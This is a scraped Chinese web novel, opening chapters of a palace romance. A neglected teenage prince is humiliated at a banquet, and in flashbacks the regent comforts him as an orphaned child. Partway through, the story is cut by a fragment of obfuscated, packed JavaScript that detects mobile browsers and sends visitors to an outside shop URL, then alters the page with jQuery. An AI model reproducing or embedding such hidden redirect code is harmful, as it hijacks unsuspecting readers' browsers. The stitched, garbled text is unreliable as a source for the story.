《权臣他以下犯上》 1. 第 1 章 腊月十五,太后六十寿辰。 慈宁宫内暖香如雾,地龙烧得极旺,熏得满殿春意融融,恍如隔世。 殿顶悬着九九八十一盏琉璃宫灯,灯影摇曳间映得金砖地面流光溢彩。 丝竹之声喧天,伶人水袖翻飞如云,席间推杯换盏,笑语喧哗不绝于耳。 楚云棠坐在最末一席。 月白色的锦袍在满堂姹紫嫣红中,显得分外单薄而黯淡。 席案设在殿门附近,寒风从门缝钻入,卷着檐下未扫净的雪沫,扑在他裸-露的脖颈上。 他垂着眼,长睫在苍白的脸颊投下浅浅的阴影,手中握着一只半满的玉杯,指尖冻得微微泛红。 身前案上,只摆着几样清淡小菜,一壶薄酒。 与邻席三皇子案上琳琅满目的珍馐玉馔,鎏金酒器相比,寒酸得刺眼。 但他恍若未觉。 殿中正演到一出《麻姑献寿》,舞姬彩衣翩跹,引来阵阵喝彩。 皇帝楚景煜高坐龙案之后,侧身与身旁雍容华贵的太后低语,面上带着恰到好处的恭谨笑意。 满朝文武,皇室宗亲,人人脸上都堆着逢迎的热络,目光却如蛛网在殿中无声交织,计算着利益与站位。 云棠将杯中残酒一饮而尽。 酒是御赐的“春酲”,入口绵甜,后劲却烈。 一线暖流顺着喉咙滑下,短暂驱散了四肢透出的寒意。 他其实不善饮,几杯下肚,耳根已泛起薄红,眼前灯影也有些氤氲。 但他需要这点暖意,也需要这微醺带来的,与周遭隔开一层的朦胧。 至少,不必将那一道道或明或暗扫来的目光,看得太清楚。 那些目光,有时是怜悯—— 他是七皇子,宫女所出,生母早逝,在这宫里像个透明人。 有时是鄙夷—— 空有一副好皮囊,却是个扶不起的废物。 更多的,是带着估量与玩味的审视,像在打量一件稀罕却上不得台面的器物。 云棠搁下酒杯,指尖无意识摩挲着冰凉的杯壁。 忽然,斜前方传来一阵放肆的笑声。 是三皇子楚云凌。 他着一身绛紫蟒袍,玉冠金带,正与身旁几位近臣推杯换盏,谈笑风生。 不知说了什么,引得那几人附和着大笑,声音洪亮,几乎压过了殿中的乐声。 楚云凌似有醉意,眼角眉梢都挂着志得意满的张扬,目光状似无意地扫过末席,在云棠身上停留。 那眼神,像淬了冰的针。 云棠脊背几不可察地绷紧了,更深地垂下眼帘,将自己缩进那片月白的阴影里。 他知晓今日不会太平,三皇子早在数日前便放过话,要在这寿宴上给他些“颜色”瞧瞧。 因为他“不识抬举”。 果然,楚云凌对身后侍立的小太监使了个眼色。 那小太监生得精瘦,眼神活泛,得了主子暗示,立刻端起酒壶,佯装添酒,脚步踉跄地朝末席挪去。 殿中乐声正酣,舞姬旋转如飞,无人留意这角落细微的动静。 云棠看见了。 他看见那小太监“不慎”被自己袍角绊了一下,手中鎏金酒壶脱手飞出。 壶中冰凉澄澈的酒液,在空中划出一道弧线,不偏不倚,朝着他前襟泼来。 躲不开。 他甚至来不及做出任何反应,只觉胸口一凉,随即是湿-漉-漉,沉甸甸的浸润感。 冰冷的酒液迅速渗透月白色的锦缎,紧紧贴上皮肤,刺骨的寒意瞬间炸开,让他不由自主地打了个冷颤。 满杯的酒,几乎全泼在了他胸-前。 月白锦袍本就是浅色,被酒液一浸,立刻呈现出一种暧昧的半透明。 湿透的布料紧贴着单薄的胸膛,勾勒出少年锁骨的形状,隐约透出其下肌肤的色泽,以及…… 酒水顺着衣料的纹理向下蔓延,在腰间积出一片更深的水渍。 布料几乎完全贴在身上,显出一段不堪一握的纤细腰线。 时间仿佛静止了。 云棠的手指倏地攥紧了那只空了的玉杯,指节用力到泛出青白。 长睫剧烈颤了颤,像受惊的蝶翼。 冰凉的酒液顺着脖颈滑入衣内,带来一阵更深的寒意,激得他皮肤上迅速浮起细小的颗粒。 他下意识抬手掩住前襟,想立刻站起身,离开这令人窒息的地方。 但已经晚了。 一个高大的阴影笼罩下来,带着浓重的酒气和不容抗拒的压迫感。 三皇子楚云凌大步走到他席前,手掌带着十足的力道,重重按在他肩上。 “七弟怎么如此不小心?” 那声音带着虚假的关切,响在耳边,字字如刀。 按在肩头的手掌五指收紧,力道之大,捏得云棠肩骨生疼,几乎听到骨骼不堪重负的细微声响。 这一按,不仅阻止了他起身的动作,更将他牢牢钉在原地,动弹不得。 云棠被迫抬头,对上楚云凌那双含-着恶意的眼睛。 对方嘴角噙着笑,目光却像毒蛇的信子,在他湿透的前襟来回扫视。 尤其在那些半透明布料紧贴的部-位流连不去。 “瞧瞧,这好好的锦袍都湿透了。” 楚云凌啧啧两声,手指拂过云棠肩头湿冷的衣料,指尖蹭到了他颈侧的皮肤。 “这般失仪,若叫太后和皇兄看见,岂不怪罪?知道的,说是你自己不小心,不知道的,还以为我们皇子连杯酒都端不稳呢。” 他的声音不高不低,恰好能让附近几席的人听清。 窃窃私语声响起,无数道目光从四面八方黏过来,聚焦在云棠湿透的,狼狈的身上。 那些目光里有毫不掩饰的鄙夷,有幸灾乐祸的玩味。 更有一些难以言喻的,粘稠的贪-婪,像无形的触-手,舔舐过他露在冰冷空气中的每一寸肌肤。 云棠只觉得浑身的血液都冲到了头顶,又被那冰冷的酒液和目光冻结。 脸颊滚烫,耳中轰鸣,屈辱感如同冰冷的潮水,漫过口鼻,几乎令他窒息。 他死死咬住下-唇,尝到一点腥甜,才勉强维持住脸上最后一点平静的表象。 他试图挣脱肩上的钳制,可楚云凌的手像铁箍一样纹丝不动。 对方指尖透过湿衣传来令人作呕的温度。 高坐主位的皇帝楚景煜,似乎终于被这角落的动静吸引,目光淡淡地掠了过来。 他的视线在云棠湿透的衣襟上停顿了不过一息,脸上没有任何表情。 既无惊讶,也无怒意,连眉头都未曾皱一下。 随即,他便像看到什么无关紧要的小插曲,神色如常地转回头,继续与太后说话。 仿佛那狼狈不堪的七弟,与殿中任何一件摆设并无不同。 最后一点微弱的希望,也在那淡漠的一瞥中熄灭了。 云棠的心沉入冰窟,攥着酒杯的手指,冷得像握着一块寒冰。 他垂下眼,不再试图挣扎,也不再看向任何地方。 长睫遮掩下,眸中最后一点光亮也黯淡下去,只剩一片死寂的灰败。 算了,他对自己说,忍一忍,总会过去的。 这些年,不都是这样过来的么? 他几乎要被那铺天盖地的羞-耻和冰冷淹没。 一片玄黑色的衣袍拂过他的视线。 那颜色沉敛如子夜,质地厚重。 边缘以极细的金线绣着隐晦的云纹,随着步履移动,在宫灯下流淌着暗沉的光泽。 衣袍的主人随意离席,步伐不疾不徐,带着无形的威势,所过之处,连喧嚣的空气都为之一静。 他径直停在云棠面前。 楚云凌按在云棠肩上的手僵了一下。 云棠茫然地抬眼。 映入眼帘的,是一张轮廓分明的侧脸。 鼻梁高挺,下颌线条清晰而冷硬,在跳跃的宫灯光影里,显得格外深邃。 是摄政王,燕元明。 他今日未着朝服,只穿了一身玄色常服,但通身的气度,却比殿中任何华服加身者更令人屏息。 他比云棠高出许多,微微垂眸,目光落在云棠湿透的前襟,只一瞬,便移开了。 在满堂或明或暗的注视下,他抬起手,解开了自己肩头那件玄黑色貂裘的系带。 宽大厚重的貂裘被他单手取下。 带着体温的暖意和松雪的气息,兜头盖脸将云棠整个人包裹了进去。 貂裘极大,几乎将云棠从头到脚严严实实地裹住。 只露出一张失了 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他的语气很平淡,甚至称得上温和,没有一丝问责的火气,但带着久居上位者的威严。 楚云凌脸上的笑容消失,勉强扯了扯嘴角。 “摄政王言重了,不过是小太监手脚笨拙,一时意外罢了,惊扰了七弟,本王也甚是过意不去。” 他试图将手从云棠肩上收回,但在燕元明的目光下,动作显得有些迟缓和不自然。 “既知是意外,”燕元明抬眼,眸色平静无波,却深不见底,像冬日封冻的湖面,“三殿下便该管好自己宫里的人,今日是太后寿辰,莫让些微末小事,搅了慈宁宫的喜庆。” 他的视线扫过那只还搭在云棠肩头的手。 楚云凌像是被那目光烫到一般,猛地将手缩了回去,甚至下意识后退了半步。 等反应过来自己这示弱的举动,他脸上顿时青红交加,羞恼之色一闪而过,却不敢发作,只干笑着应道:“王爷说的是,本王回去定当严加管教。” 燕元明不再看他,转向被裹在貂裘里,只露出小半张脸的云棠。 他微微俯身,声音比方才对楚云凌说话时,低了不止一度,隐约带上了一丝温缓:“殿下衣衫已湿,不宜久留风口,臣送殿下回宫可好?” 云棠还陷在巨大的冲击和残余的屈辱感中,闻言怔怔地点头,声音细若蚊蚋:“……有劳王爷。” 燕元明转向皇帝微微躬身:“陛下,七殿下衣衫湿透,恐染风寒,臣请送殿下回宫更衣。” 皇帝看了他一眼,又瞥向裹在裘衣中微微发-抖的云棠,摆了摆手:“去吧。” 燕元明手臂虚护在云棠身后:“臣告退。” 他护着云棠,转身,朝着殿门方向走去。 满殿的目光追随着这两道身影。 一道玄黑挺拔,一道被玄黑包裹得纤细伶仃。 乐声不知何时低了下去,舞姬的动作也慢了半拍,一种微妙的寂静在殿中蔓延。 皇帝楚景煜再次望来,目光在燕元明的背影上停留稍久,指尖在龙案上轻轻敲击了一下,神色莫测。 楚云凌站在原地,看着两人离去的背影,脸上勉强维持的笑容消失,眼神阴鸷得几乎要滴出水来。 他死死捏着手中的酒杯,指节因为用力而发白。 直到那两道身影消失在殿门外,殿内的气氛才仿佛重新流动起来。 乐声渐起,笑语复现,仿佛刚才那场短暂的冲突从未发生。 但许多人交换的眼神里,却多了些心照不宣的深意。 楚云凌狠狠灌下一杯冷酒,对身边一个始终低眉顺眼的心腹太监招了招手。 太监立刻附耳过来。 他眼神阴鸷,声音压得极低:“去查,燕元明这些年暗中照拂这贱种的明细,一件件都给本王挖出来,我倒要看看,他到底存着什么心思……” 他顿了顿,笑容变得不怀好意,“咱们七弟那身子,今日瞧着,倒是比想象中更有看头。” “是。”太监低声应道,悄无声息地退入阴影之中。 皇帝在两人离开后,端起酒杯沉吟片刻,对身边大太监低语:“老七……倒是长得越发像他娘了。” 2. 第 2 章 清莲苑。 名字听着雅致,实则是西六宫最偏僻的一处院落,夹在两堵高耸的宫墙之间,终日少见阳光。 前朝曾是一位不得宠妃嫔的居所。 那妃嫔抑郁而终后,这里便一直空着,直到楚云棠被“安置”到这里。 年久失修,宫墙的朱漆斑驳脱落,露出底下灰败的墙体,檐角甚至有细微的裂痕。 冬日积雪融化时,会有冰冷的水滴沿着裂缝渗入廊下,结成一道道晶莹剔透的冰凌。 院中那株本该在夏日绽放的白莲早已枯死,只剩几截焦黑的残茎立在结了薄冰的池水中,像绝望伸向天空的手。 冬日里,地龙总是烧不旺。 内务府拨来的炭劣质且不足数,偌大的宫殿空旷冷寂,呵气成霜。 即便在室内,也要裹紧所有能裹的衣物,才能勉强抵御那无孔不入的寒意。 云棠踏进院门时,已是深夜。 守门的小太监正缩在门房里抱着膝盖打盹,被突兀的脚步声惊醒,慌忙起身行礼,脸上还带着未褪的睡意和惶恐。 在这冷清的苑里当差,本就是个被遗忘的差事,若再惹了主子不悦,只怕连这最后的栖身之所都没有。 云棠摆了摆手,没说什么,也没有多看那太监一眼,径直穿过落满枯叶的庭院。 积雪在脚下发出“嘎吱”的声响。 月光惨白,将他的影子拉得细长,投在覆雪的石板路上,更添孤寂。 正殿的门虚掩着,他伸手推开。 殿内比外面好不了多少。 空旷的大殿里只点了一盏油灯,灯芯挑得很短,光线昏黄黯淡,勉强照亮方圆几步。 仅有的两个炭盆奄奄一息地吐着零星红芒。 非但驱不散寒意,反而让空气中弥漫着一股沉闷的,带着霉味的潮冷。 梁柱间挂着蛛网,在微弱的气流中轻轻晃动。 值夜的宫女原本蜷在角落的矮凳上打盹,听到动静慌忙起身迎上来。 她不过十四五岁年纪,脸颊冻得发红,身上穿着洗得发白的旧宫装。 见云棠裹着那件厚重华贵的玄黑貂裘进来,脸上闪过毫不掩饰的惊讶。 她低声道:“殿下回来了,可要传热水?” “不必。”云棠声音有些疲惫,带着夜风的凉意,“都下去吧,不用守夜。” 宫女犹豫了一下,觑着他冷淡的,没什么血色的脸,不敢多言,只低头行了礼,悄步退了出去,并细心地将沉重的殿门掩上。 “吱呀——”一声,门扉合拢,将最后一点外间的微光与人声隔绝。 殿内安静下来。 只剩下炭火偶尔爆出的“噼啪”轻响,以及窗外呼啸而过的,永无止境般的寒风。 那风声时而尖锐如哨,时而低沉如呜咽,刮过屋檐窗棂,像是某种庞大而无形的存在正在外面徘徊。 云棠在门边站了片刻,一动不动,仿佛一尊玉雕。 直到确认脚步声远去,宫人确实都退下了,他才慢慢松开一直紧攥着貂裘领口的手指。 指尖因为用力而微微发白,松开后,血液回流,带来细微的麻痒感。 他走到殿中唯一一张看起来还算完好的梨花木椅旁,背对着空荡荡,被昏黄灯光照出重重阴影的宫墙,开始解那件玄黑色貂裘。 手指碰到那个被燕元明打成的结时,微微停顿了一下。 结打得并不繁复,简洁利落,一如那人给人的感觉。 沉稳,直接。 系带是上好的玄色丝绦,触-手光滑微凉。 他低着头,借着昏暗的灯光,仔细一点点将结解开,动作很轻。 指尖不可避免地回忆起傍晚时分,另一双手拂过这里时的触感。 微凉,稳定,带着令人安心的力量。 系带松开,厚重的貂裘从肩头滑落,被他及时接在臂弯里。 刹那间,殿内刺骨的寒意重新包裹上来。 像无数根冰冷的针,穿透他身上那件半干未干,带着酒渍和湿冷的月白锦袍,直接扎进皮肤里。 裸-露的脖颈和手腕瞬间激起了一层细小的栗粒,汗毛倒竖。 方才一路被貂裘护着,靠着另一个人的体温积攒下的那点可怜暖意,顷刻间烟消云散。 但他似乎并不在意。 寒意对他来说早已是常态,是这深宫里如影随形的伴侣。 他只是抱着那件犹带着另一个人的体温和松雪气息的貂裘,转身走向内室。 内室比外殿更显空旷。 除了一张挂着半旧青灰色帐幔的硬木床榻,一个掉了漆的妆台,两把摇摇晃晃的椅子,别无他物。 墙角堆着两个旧木箱,那是云棠全部的“家当”。 窗棂纸有好几处破了。 冷风正从缝隙里丝丝钻入,发出细微的“嘶嘶”声,吹得桌上那点残烛的火苗摇摆不定。 云棠在冰冷的床榻边坐下,没有点灯。 灯油也是要省着用的。 朦胧的月光透过破旧的窗纸,在地上投下模糊黯淡的光斑。 光影随着窗外摇晃的枯枝变幻,像浮动的水纹。 他将脸埋进了臂弯里的貂裘。 柔软丰厚的绒毛蹭着冰凉的脸颊,带来熟悉的,令人心安的触感。 那股清冽干净的松雪气息萦绕在鼻尖,并不浓烈,一点点抚平他心中翻腾的屈辱,后怕和茫然。 以及……一丝难以言喻的悸动。 他闭上眼,深深地吸了一口气。 那气息涌入肺腑,带着冬日山林特有的凛冽,又很温暖。 像是有人将一片覆盖着新雪的松林,连同林间寂静的阳光,一同包裹给了他。 令人眩晕的安心感。 殿外的风声似乎远去了,炭盆微弱的噼啪声也消失了。 耳边只剩下自己逐渐平稳下来的,一下又一下的心跳声。 血液重新在冰冷的四肢里缓缓流动,带起细微的暖意。 不知过了多久。 也许是这气息太令人沉溺,也许是今夜身心俱疲到了极点,意识开始模糊,泛起朦胧的雾气。 眼前的黑暗逐渐扭曲旋转,褪色成另一种更为久远,更为彻骨的寒冷与苍白。 --- 那是十年前,同样严寒的腊月。 甚至比今夜更冷。 铅灰色的天空沉沉地压着宫墙,低得仿佛触-手可及。 鹅毛大的雪片扯絮般往下落,没有停歇的意思,已经连续下了三日。 整个皇宫被厚厚的积雪覆盖,一片死寂的白。 风刮在脸上,像生锈的刀子,刮得人生疼,裸-露的皮肤片刻就会失去知觉。 冷宫。 真正的冷宫。 不在西六宫,而是在皇宫最西北角,一处几乎被遗忘的荒僻院落。 连个正式的名字都没有,宫人们私下里只以“那个地方”指代。 残垣断壁,杂草丛生,夏日里蛇虫鼠蚁横行,冬日里便是眼下这幅冰封地狱的景象。 平日里连最低等的宫人都绕道走,仿佛靠近便会沾染晦气。 只有犯了重错,或被帝王厌弃的宫妃,才会被扔到这里,任其自生自灭。 大多数进来的人,都活不过两个冬天。 而现在,住在这里的,是一个刚满七岁的孩子,和他的生母—— 一个连最低等“选侍”名分都没有,被临幸后便彻底遗忘在角落的宫女。 她甚至没有留下名字,宫册上只含糊地记着“姜氏”,原是浣衣局的粗使宫女。 昨夜,那个苍白瘦弱,常年咳嗽,眼底却总带着温柔笑意的女人,在又一次仿佛要将五脏六腑都咳出来的剧烈咯血后,悄无声息地断了气。 甚至没能撑到天明。 没有太医,没有汤药,甚至没有一句安慰。 只有越来越微弱的喘息,和归于死寂的冰冷。 小小的楚云棠跪在灵堂里。 其实哪里算什么灵堂。 不过是这破败宫室中一间稍微能避点风的偏房,地上铺了层薄薄的,潮湿的草席。 他那连口薄棺都求不来的娘亲,就躺在草席上,身上盖着一床洗得发白,打了无数补丁的旧棉被。 被子很薄,遮不住她瘦得脱形的轮廓。 娘亲的脸色青白,双目紧闭,嘴角还残留着一丝未擦净的暗红血痕。 再也不会醒来,不会用那双枯瘦却无比温柔的手,抚摸他的头发。 不会在他冻得睡不着时,将他冰凉的小脚捂进怀里,哼唱那首模糊了词句的,温柔的家乡小调。 灵前点着一对白烛,是最劣质的那种,烛泪淋漓,火光昏黄暗淡。 烛台是磕破了边的粗陶碗。 烛火在从破窗钻入的,毫无阻隔的寒风中剧烈摇曳,将跪在蒲团上的小小身影拉长扭曲。 投在斑驳掉皮的墙壁上,像一只随时会破碎,消散的幽灵。 云棠身上穿着他能找到的,最厚的衣服—— 一件用娘亲旧衣改小的夹袄,颜色晦暗,袖口和下摆都短了,露出冻得通红发紫的手腕和脚踝。 里面絮的棉花已不知是多少年前的了,早已板结发硬,几乎不抵寒。 脚上的鞋子破了洞,雪水渗进来,脚趾冻得麻木,失去知觉。 他直挺挺地跪着,背脊绷得很紧,像一根快要折断的芦苇。 小脸冻得发青,嘴唇乌紫,长长的睫毛上凝结了一层细白的霜花,随着呼吸微微颤动。 眼泪不断地从眼眶里涌出来,滚过冰冷僵硬的脸颊。 还没来得及坠落,就在睫毛和脸颊上冻住了,结成细细的透明冰凌。 脸上又痒又痛,但他顾不上去擦。 他不敢大声哭,怕惊扰了娘亲安睡。 虽然他知道,娘亲再也听不见了。 也怕引来不必要的麻烦。 冷宫里偶尔也会有巡视的太监经过,若是嫌吵,一顿责打是免不了的。 他只能死死咬着早已破皮的下-唇,将呜咽死死压回喉咙深处,发出小动物般压抑的,断断续续的抽噎。 每抽噎一下,单薄的肩膀就剧烈地抖动一下,像寒风中残存的最后一点烛火,随时会熄灭。 灵前的白烛,已经烧到了底,烛火越来越微弱,忽明忽暗。 灯芯蜷缩着,发出细微的“滋啦”声,仿佛下一刻就要被风吹灭,堕入黑暗。 最后一点昏黄的暖光,映着他泪水结冰脏污的小脸,那样脆弱,那样无助。 世界是冰冷的,寂静的,绝望的。 除了永无止境的风雪声,和远处隐约传来模糊的宫廷钟鼓,只剩下他自己几乎冻僵的细微呼吸。 每一次吸气,冰冷的空气都像刀子割过喉咙和胸腔,每一次呼气,都是一团迅速消散的白雾。 他不知道要跪多久,不知道之后该怎么办。 宫里会不会有人来管?会不会把他赶出去?还是就让他在这冷宫里,跟着娘亲一起…… 他不知道自己能不能活过这个冬天。 脚已经没知觉了,手也僵了,肚子饿得绞痛。 最后一点硬得像石头的饼,昨天就已经吃完了。 巨大的恐惧和悲伤,像这无边厚重的冰雪,将他从头到脚淹没,连骨头缝里都冷透了。 就在那对白烛即将燃尽,最后一点颤巍巍的光晕也要被无边的黑暗吞噬时—— “吱呀——” 紧闭的,破旧不堪的木门,被从外面轻轻推开了一道缝隙。 凛冽的风雪立刻裹着一道人影卷了进来,冰冷的雪粒打在脸上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261337|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随即,门又被迅速从里面合上,隔绝了大部分寒风,但室内的温度还是骤然又降了几分。 云棠冻得麻木,几乎停滞的意识被这突如其来的动静惊动。 他迟缓而僵硬地转动几乎失去知觉的脖颈,骨头发出轻微的“咔”声,朝着门口望去。 逆着门外雪地反射的,惨白刺眼的光晕,他看见一个身影。 一个穿着宝蓝色织金锦袍,外罩银狐裘斗篷的少年。 那狐裘洁白如雪,领口一圈蓬松丰厚的银狐毛,衬得少年肤色如玉。 锦袍在昏暗中仍流转着隐隐的光泽,绣纹精致。 他脚上是一双厚实的鹿皮靴,靴筒边缘沾着未化的雪。 少年约莫十二三岁年纪,身量已开始抽条,显得挺拔如青竹。 眉眼尚未完全长开,却已初具深邃轮廓,鼻梁高挺,唇线分明,下颌线条清晰。 尤其是一双眼睛,在昏暗的光线下亮得惊人,像是把所有的天光都淬炼了进去。 沉静锐利。 通身的贵气,与这破败阴冷,脏污不堪的环境格格不入,仿佛一幅名画被错误地扔进了垃圾堆。 是燕元明。 那年他十二岁,随父王入宫赴先帝的冬宴。 宴席喧闹,歌舞升平,他却自幼不喜那些虚与委蛇的应酬和故作亲热的寒暄。 寻了个更衣的借口离席,独自在宫中漫行。 不觉越走越偏,穿过了数道无人值守的侧门,竟来到了这连巡夜侍卫都鲜少踏足的冷宫附近。 正要转身离开,却隐约听到风中传来压抑的细微哭声,像受伤幼兽的呜咽。 鬼使神差的,他循着那几乎被风雪掩埋的声音,找了过来。 推开那扇门时,他没想到会看到这样一幕。 雪白的灵堂,摇曳将熄的烛火,草席上无声无息的逝者。 以及那个跪在蒲团上,满脸冰泪,冻得几乎失去生气,仿佛下一秒就要化作冰雕的小小身影。 那孩子太小了,裹在明显不合身,臃肿又单薄的旧袄里,跪在那里,小得可怜,像个一碰即碎的雪人。 只有那双望向他的眼睛,黑白分明,大得惊人,因为瘦削而显得格外突出。 里面盛满了未干的泪水,空洞的茫然,深不见底的绝望,还有一种近乎死寂的平静。 没有哀求,没有哭喊,甚至没有对闯入者的警惕或好奇。 只是那样直愣愣地,毫无焦点地看着他,仿佛连惊讶的力气都没有了,灵魂已经随榻上的人一同离去。 燕元明在原地站了片刻,目光缓缓扫过这间陋室。 破败的屋顶漏着光,墙壁斑驳,寒气逼人,比王府最下等的仆役房还不如。 他的眉头蹙了一下,随即松开,脸上没什么表情,但眼神深了些。 他解下自己手上那双用银狐腋下最柔软绒毛制成,还带着体温的手笼。 走过去,在云棠面前蹲下身,将手笼递到他眼前。 “拿着,暖暖手。”少年的声音还带着些变声期特有的微哑。 语气平静,没有刻意流露的怜悯,也没有居高临下的施舍感。 云棠没有接。 他的目光停留在燕元明脸上,眼睛一眨不眨,结着冰霜的长长睫毛颤动着。 更多的眼泪滚下来,融化了旧的冰凌,新的泪水又在眼角迅速凝结。 他好像没听懂,或者听懂了,但身体和意识都已经冻得无法做出反应。 燕元明也没强求,更没有露出不耐。 他收回手笼,随手放在一旁积灰的破凳上,从怀中贴身处,取出了一方干净的,折叠整齐的素白手帕。 帕子一角用青线绣着几竿修竹,挺拔遒劲,绣工精致。 他伸出手,用那方柔软的,还带着些许体温的帕子,轻轻贴上了云棠冰冷潮湿,布满泪痕和冰碴的脸颊。 指尖隔着细棉帕子,触到那冻得几乎失去知觉,粗糙泛红的皮肤。 微温的指尖,与脸颊的冰冷对比如此鲜明,像烧红的炭忽然贴近冰块。 “唔……”云棠浑身剧烈颤-抖了一下,从喉咙里溢出一声短促的,模糊的气音。 空洞的眼神里,终于有了一丝细微的波动,像是沉潭死水被投入了一颗小石子。 燕元明动作很轻,却很仔细,一点点擦拭着他脸上的泪痕,冰水和污渍,抹去那些狼狈的痕迹。 从额头到脸颊,再到下巴,甚至小心地擦过凝结冰凌的睫毛。 他的动作有些生疏,但格外耐心,仿佛在擦拭一件珍贵的瓷器。 帕子很快被泪水和冰水浸-湿了,变得冰凉,但他没有停下。 “别哭。”少年低声说,声音不高,但在空旷寒冷,唯有风声呜咽的破屋里,有种安抚力量。 这两个字,像一把锈蚀了许久,突然被拧动的钥匙,骤然打开了某个紧闭的,压抑了太久的闸门。 一直强忍着的,压抑到极致的悲伤和委屈,轰然决堤。 云棠怔怔地看着眼前陌生的少年,看着他沉静的眼睛,看着他手中为自己擦拭脸颊的帕子。 一直紧绷的弦,“啪”地一声断了。 嘴巴一瘪,一直死死咬着的下-唇松开,一直强压-在喉咙里的呜咽冲破了障碍。 “哇——” 他放声大哭起来。 不是之前压抑的抽噎,而是撕心裂肺,毫无保留的嚎啕,像是要把魂魄都哭出来。 眼泪决堤般汹涌而出,瞬间又打湿了刚刚擦净的脸颊,也打湿了燕元明未来得及收回的手和帕子。 他哭得上气不接下气,小小的身子抖得像秋风中的最后一片叶子,仿佛随时会散架。 鼻涕眼泪糊了一脸,哭得打起嗝来,像要把这短短七年生命里所有的委屈,全都通过嚎啕大哭倾泻出来。 3. 第 3 章 燕元明没有说话,也没有露出丝毫不耐或嫌弃,默默收回了已经湿透的手帕。 看着眼前哭得撕心裂肺,几乎要瘫软下去的孩子,眉头几不可察地又蹙了一下。 眼里沉淀着一丝这个年纪不该有的复杂情绪。 他伸出手,稳稳扶住了云棠因为哭泣而前倾摇晃的小小肩膀,让他不至于倒下去。 少年的手掌坚定有力,透过单薄破旧的夹袄,给他支撑。 直到云棠的哭声渐渐低下去,从嚎啕变成断断续续,抽噎的呜咽。 眼泪流干了,力气也仿佛随着泪水流尽,小小的身子软软地往旁边滑。 燕元明松开扶着他的手,站起身来。 蜡烛即将燃尽。 他走到那张摆着烛台的破旧木桌前,拿起旁边放着的,一对新的白烛。 也不知是谁准备的。 或许是他那早逝的娘亲生前从牙缝里省下,偷偷攒下的。 就着旧烛最后那一点黄豆大小,摇曳欲熄的火苗,将新烛的烛芯点燃,稳稳插-进积满烛泪的粗陶碗里。 新的烛光亮起。 虽然依旧微弱,但毕竟是新的,完整的蜡烛,光晕稳定了许多。 昏黄温暖的光努力地扩展开,驱散了一些即将笼罩的黑暗,给这冰冷的灵堂带来一丝延续的光明和暖意。 也照亮了榻上逝者平静的遗容,和地上孩子哭得红肿狼藉的脸。 做完这一切,他重新走回云棠身边,再次蹲下。 云棠哭得眼皮红肿,眼神茫然空洞,却少了几分死气。 燕元明将那块皱巴巴的素帕,轻轻塞进他冰冷僵硬,指节通红的小手里。 “拿着。”他说。 他解下了自己身上那件价值不菲,轻暖无比的银狐裘斗篷。 动作利落,没有犹豫。 斗篷带着少年温热的体温,不由分说地裹在了云棠单薄颤-抖,几乎冻僵的小身子上。 有一股浅浅的,类似雪后松柏般,清冽干净的气息, 狐裘很大,几乎将七岁的孩子整个包了进去,垂到脚面。 瞬间,无处不在的刺骨寒意被隔绝了大半,变成了陌生而厚重的温暖,令人恍惚。 领口蓬松的银狐毛蹭着云棠冰凉的脸颊和脖颈,柔软得不可思议。 云棠被这突如其来的温暖包裹,哭得昏沉发木的脑子更加迷糊,意识飘忽。 用尽最后一点力气,下意识攥紧了手里那块湿-漉-漉的帕子。 上面还残留着眼前少年一丝体温和气息。 身上沉重而温暖的狐裘将他拖住,像是沉入了一个不敢奢望的暖梦。 燕元明最后看了一眼草席上的女人。 无声无息,再也不会醒来。 又看了眼被裹在宽大狐裘里,只露出一张惨白脏污,泪痕交错小脸的小孩。 嘴唇动了动,似乎想说什么,但最终什么也没说。 他转身,拉开那扇破旧的木门。 凛冽的风雪立刻呼啸着扑进来,吹动他宝蓝色的衣袍。 他没有回头,径直走进了似乎要吞噬一切的寒风大雪里。 “吱呀——”一声,门在他身后关上,隔绝了内外。 灵堂里恢复了寂静。 新换的白烛静静燃烧,流下温热的烛泪。 孩童裹在陌生却无比温暖珍贵的狐裘里,小手紧紧握着湿帕,跪在原地,怔怔望着那扇紧闭木门方向。 风雪拍打门窗的声响,似乎都变得遥远了。 --- 那夜之后,燕元明“路过”冷宫的次数,莫名多了起来。 起初云棠以为是巧合,但后来发现,这“巧合”未免太过规律和频繁。 有时是傍晚,天色将暗未暗时,他会带来一包用干净油纸仔细包好的,御膳房做的精致点心。 桂花糕洁白松软,豌豆黄细腻清甜,枣泥酥外皮酥脆……都是孩子会喜欢的口味。 他总是将点心放在云棠够得着的,那扇破旧窗台内-侧,留下一句:“我不爱吃甜的,放着也是浪费。” 不等窗内的反应,便转身离开,身影消失在越来越浓的暮色里。 有时是午后,雪后初晴,他会“随手”丢下几本蒙尘的书。 但页面完整,内容浅显。 《三字经》,《千字文》,还有一本边角磨损,但内里图画生动的《山海经》异兽图册。 “旧书,给你认字玩。”他说得轻描淡写,像是真从哪个角落翻出来的无用之物。 可那些书都干干净净,没有虫蛀,墨迹清晰,分明是被妥善保存的。 有时,他会在云棠冻疮发作得厉害,手上红肿溃烂,又痛又痒时,带来一小盒气味清苦的青色药膏。 药膏盛在细腻的白瓷盒里,一看便非凡品。 “我用不上的,治冻疮好像有用。” 依旧是那副漫不经心,不欲多谈的口吻。 药膏抹上去清清凉凉,痛痒立减,不过几日,红肿便消退,溃烂处也开始收口生肌。 他并不多话,每次停留的时间也很短。 常常是放下东西,说一两句话,便转身离去,仿佛真的只是顺路经过,心血来潮。 但那些点心总是温热适口,像是刚出锅不久。 那些书恰好是云棠那个年纪能看懂且极易产生兴趣的。 那药膏更是对症奇效。 云棠从一开始的警惕茫然,不知所措,到后来渐渐习惯。 甚至会在他常出现的时间段,悄悄挪到破窗边,透过窗纸的裂缝,紧张又期待地等待。 虽然大多时候,等来的只是轻轻放在窗台上的东西,和远处一个模糊的,匆匆离去的挺拔背影。 偶尔,他能看到少年回头瞥一眼窗口,目光与他的视线有一刹那的交汇,但又很快移开,仿佛只是随意一瞥。 